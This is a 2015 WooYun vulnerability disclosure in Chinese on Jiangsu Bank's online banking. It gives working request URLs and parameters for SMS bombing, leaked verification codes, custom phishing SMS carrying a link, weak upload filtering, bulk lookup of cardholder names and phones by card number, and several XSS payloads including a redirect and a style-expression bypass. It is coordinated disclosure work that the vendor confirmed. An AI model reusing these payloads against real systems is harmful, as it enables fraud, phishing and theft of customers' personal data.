当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123530

漏洞标题:金融小能手之江苏银行(测评漏洞打包)

相关厂商:江苏银行

漏洞作者: 咚咚呛

提交时间:2015-06-30 15:26

修复时间:2015-08-17 08:38

公开时间:2015-08-17 08:38

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-30: 细节已通知厂商并且等待厂商处理中
2015-07-03: 厂商已经确认,细节仅向厂商公开
2015-07-13: 细节向核心白帽子及相关领域专家公开
2015-07-23: 细节向普通白帽子公开
2015-08-02: 细节向实习白帽子公开
2015-08-17: 细节向公众公开

简要描述:

越权查询、自定义钓鱼短信、文件上传等等。
出差忙了将近3周了快,一周腾不出空来写报告,现在终于有时间了。
一直在建议乌云提供个上传word或者提交附件的功能,直接把报告给提交了,会生了好多工夫。

详细说明:

一共11处风险,高中低依次排序。如下:
1、(1)任意手机好无线发送短信(短信炸弹)
功能点:个人贷款 > 我要借款 > 税e融
链接:https://ebank.jsbchina.cn/newperbank/sendMobilePwdForApply.do?EMP_SID=CVGVDKHGDXJGJDDFIECWJREBHLEUIZFWGTEEIHBS
参数:mobileNo
修改参数mobileNo为手机号可以无限制发送短信,比如我修改为我自己的手机号,如图:

1.jpg


2.jpg


另:换成其他号码也可正常发送,且没有数量限制。
2、(2)任意手机好无线发送短信(这地方有俩风险)
功能点:签约中心 > 手机银行
链接:https://ebank.jsbchina.cn/newperbank/sendMbInfoModifyPass.do?EMP_SID=CVGVDKHGDXJGJDDFIECWJREBHLEUIZFWGTEEIHBS
参数:mobileNo
修改参数mobileNo为手机号可以无限制发送短信,比如我修改为任意手机号,如图:

3.jpg


1)此处可以任意指定手机号无限发送手机短信,没有间隔。

4.jpg


2)可以从数据包返回值得到验证码,绕过手机验证。搞不懂为啥子要把短信给response。
如图:

5.jpg


3、(3)任意手机好无线发送短信(这地方有俩风险)
功能点:签约中心 > 动账短信通知
链接:https://ebank.jsbchina.cn/newperbank/sendAccountNotifyPassword.do?EMP_SID=EOFWIPDTILCIJLHGHAJCIGBIDZIIJJEEEBCQFCBW
参数:mobileNo
修改参数mobileNo为手机号可以无限制发送短信,其可以得到发送的短信内容即验证码,且可以批量发送。如图:

6.jpg


7.jpg


4、看我玩转钓鱼(短息任意设置)
功能:客户服务 > 安全设置 > 私密信息修改
链接:
https://ebank.jsbchina.cn/newperbank/sendMobilePassword.do?EMP_SID=FMIOEEBNCRFKISGVFUCPCFCYAZDXDCBOELBYCKDA
测试发现,添加参数名称,可以自定义短信,比如msgType表示类型,比如msgType设置为1时,特别适合钓鱼短信,比如参数设置:
msgType=1&payAccount=22222&recAccount=0246&recAccountName=6228760005****40246&payAmount=10000%E5%85%83%E5%A6%82%E6%9C%89%E9%97%AE%E9%A2%98%E8%AF%B7%E8%AE%BF%E9%97%AE http://www.diaoyu.com%20&totalNum=1

8.jpg


9.jpg


当然这里也可以当成短信炸弹一直发。
以上4处风险都为短信类型风险,地址不一样,参数大体相同。
5、文件上传
说明:这个也算是个风险,但是确实没成功。简单说就是文件过滤不严格,我饶了半个点,没绕过去,但感觉确实是个问题,细节看下面。
功能点:客户服务 > 网银设置 > 个人资料修改

10.png


链接:https://ebank.jsbchina.cn/newperbank/userIconUpload.do
数据包如图:

11.png


经过多次测试发现,文件地址跟账户有关,我这里上传的固定文件地址为:
https://ebank.jsbchina.cn/newperbank/images/selfIcon/1002231589.jpg
就是说我传啥,只要成功,名字就是1002231589,如图:我上传文件名1.jpgtxt

12.png


然后正常传上去了正常访问,链接:
https://ebank.jsbchina.cn/newperbank/images/selfIcon/1002231589.jpgtxt

13.png


经过我鼓捣半个点,它的判断流程好像是,搜索最后一个“.”然后判断“.”后面的3位字符,是否是图片后缀,如果是则提取.jpg后的所有字符作为后缀,比如1.txt.jpga,它提取后缀为.jpga,功力不够绕不过去了,不过风险肯定存在了,没准谁就给绕过去了。
6、根据银行卡号查询敏感信息(1)
功能点:转账汇款>大额转账维护
连接:https://ebank.jsbchina.cn/newperbank/002028_cstinfoQuery.do
参数:recAccount=6228760205000897070 此处为银行卡号
可以通过银行卡号查询姓名电话等敏感信息,如图:

14.png


大量跑下数据,比如跑1000条数据,如图:

15.png


16.png


17.png


然后可以写个脚本脱卡号、姓名、电话信息库了。
7、根据银行卡号查询敏感信息(2)
功能点:转账汇款>定向转账维护
连接:https://ebank.jsbchina.cn/newperbank/002027_QueryCustInfo.do
参数:recAccount=6228760205000897070 此处为银行卡号
跟上个,达到效果一样,但是地址和链接不同,可以通过银行卡号查询姓名电话等敏感信息,如图:

18.png


8、xss跨站脚本(篡改js流程)
功能点:账户管理 > 跨行账户管理 > 申请他行账户查询
链接:
https://ebank.jsbchina.cn/newperbank/110102_1_confirm.do?EMP_SID=BIJBBQHRGLIGISBKDEJTEZHZJCGSHMDDDODCGAJO&qdfs=0&fqjg=11111";alert(1);//&jsjg=22222222222&bcxhh=102100099996&bcxrzh=&bcxrmc=&bcxrzhlx=&cxhh=313301099999&cxhm=%E6%B1%9F%E8%8B%8F%E9%93%B6%E8%A1%8C%E8%82%A1%E4%BB%BD%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&cxrzh=6228762005000141380&cxrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&xdfkzhlx=TL01&sxf=&dsfkhh=1240748232&fy=11111&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02
对参数fqjg、jsjg等赋予";alert(1);//可以直接修改页面js流程,进而执行js脚本。如图:

1.jpg


2.jpg


再或者执行js跳转到钓鱼网站:
https://ebank.jsbchina.cn/newperbank/110102_1_confirm.do?EMP_SID=BIJBBQHRGLIGISBKDEJTEZHZJCGSHMDDDODCGAJO&qdfs=0&fqjg=11111";window.location.href="http://www.baidu.com";//&jsjg=22222222222&bcxhh=102100099996&bcxrzh=&bcxrmc=&bcxrzhlx=&cxhh=313301099999&cxhm=%E6%B1%9F%E8%8B%8F%E9%93%B6%E8%A1%8C%E8%82%A1%E4%BB%BD%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&cxrzh=6228762005000141380&cxrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&xdfkzhlx=TL01&sxf=&dsfkhh=1240748232&fy=11111&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02
9、xss跨站脚本(篡改js流程)
功能点:账户管理 > 跨行账户管理 > 申请他行账户查询
链接:
https://ebank.jsbchina.cn/newperbank/110102_3_confirm.do?EMP_SID=DAAFBDHSDAAGCBGXEQEVGJFVEFAOIPHPHHEXCYIY&qdfs=0&fqjg=313301099999&jsjg=102100099996&dsfkhh=111111111111";alert(1);//&fkrkhhh=102100099996&fkrzh=0&fkrmc=0&fkrzhlx=0&khh=1240748232&skrzh=6228762005000141380&skrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&skrkhhh=313301099999&ywzl=00100&khfwh=1240748232&dbjesx=&rljbssx=&rljjesx=&yljbssx=&yljjesx=&sxrq=&gqrq=&fkrlxdh=&xdzhlx=TL01&sxf=&fy=test&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02
对参数fqjg、jsjg等赋予";alert(1);//可以直接修改页面js流程,进而执行js脚本。如图:

3.jpg


10、xss跨站脚本(绕过安全防护)
功能:账户管理 > 跨行账户管理 > 授权本行账户查询
说明:此处跟上两出不太一样,上两处所说在系统上经常出现,但是属于那种修改js流程的缺陷,但此处就是过滤严重不足了。跟框架整体过滤有关。其实测到上面的功能也能发现这个,起初以为过滤了,就没多绕,我的固定思维“我只找程序员忽略的店”,不过后来还是手贱测了测,发现只顾虑了><,瞬间脑子俩次“成了”。

4.jpg


5.jpg


测试发现之过滤了><,如图:

6.jpg


真的就是1秒绕过,我会骗你?改成GET如下:
https://ebank.jsbchina.cn/newperbank/110102_2_redPact.do?EMP_SID=AMEQGNAPDXATAUEUFEEODRABDMCEDMEYBKGBHDAN&qdfs=1&fqjg=313301099999&jsjg=102100099996&bcxhh=313301099999&bcxrzh=6228762005000141380&bcxrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&bcxrzhlx=1&cxhh=102100099996&cxhm=%E4%B8%AD%E5%9B%BD%E5%B7%A5%E5%95%86%E9%93%B6%E8%A1%8C&cxrzh=6228760005000040246&cxrmc=testa"%20style="width:expression(alert(1));%20"&xdfkzhlx=&sxf=&dsfkhh=1240748232&fy=bbbbbb&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02
注意参数:cxrmc=testa"%20style="width:expression(alert(1));%20"

7.jpg


11、xss跨站脚本(绕过安全防护)
功能点:账户管理 > 跨行账户管理 > 授权本行账户支付
连接:
https://ebank.jsbchina.cn/newperbank/110102_4_redPact.do?EMP_SID=AMEQGNAPDXATAUEUFEEODRABDMCEDMEYBKGBHDAN&qdfs=1&fqjg=313301099999&jsjg=102100099996&dsfkhh=6228760005000040246&fkrkhhh=313301099999&fkrzh=6228762005000141380&fkrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&fkrzhlx=1&khh=1240748232&skrzh=6228760005000040246&skrmc=testaa"%20style="width:expression(alert(1));%20"&skrkhhh=102100099996&ywzl=00100&khfwh=6228760005000040246&dbjesx=123.00&rljbssx=123&rljjesx=123.00&yljbssx=123&yljjesx=123.00&sxrq=20150628&gqrq=20150630&fkrlxdh=88888888&xdzhlx=&sxf=&fy=bbbbb&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02&cxhm=%E4%B8%AD%E5%9B%BD%E5%B7%A5%E5%95%86%E9%93%B6%E8%A1%8C

8.jpg

漏洞证明:

上面很详细了。
还是总结下撒:江苏银行整体安全欠佳,多处表现在短信发送、越权查询、XSS跨站等。系统其实本身的越权防护机制还是听完善的,不过可能疏忽还是业务需要,造成了用户信息泄露。针对XSS防护则存在有明显的缺陷,比如只过滤了><,对双引号、单引号等都为防护,导致基本通杀,上面漏洞提到的4出风险只是我简单写的,只起到提醒作用,系统中存在大量xss,请注意。
我以上只是简单测试了一下,由于是测试卡很多数据都不存在,对测试会造成很大影响。所以希望行方谨慎对待。

修复方案:

其实这些漏洞你们应该经常修复才对。
原理搞清了,程序员还是很给力的,要相信自己的工程师。

版权声明:转载请注明来源 咚咚呛@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-07-03 08:36

厂商回复:

感谢对江苏银行信息安全的关注。

最新状态:

暂无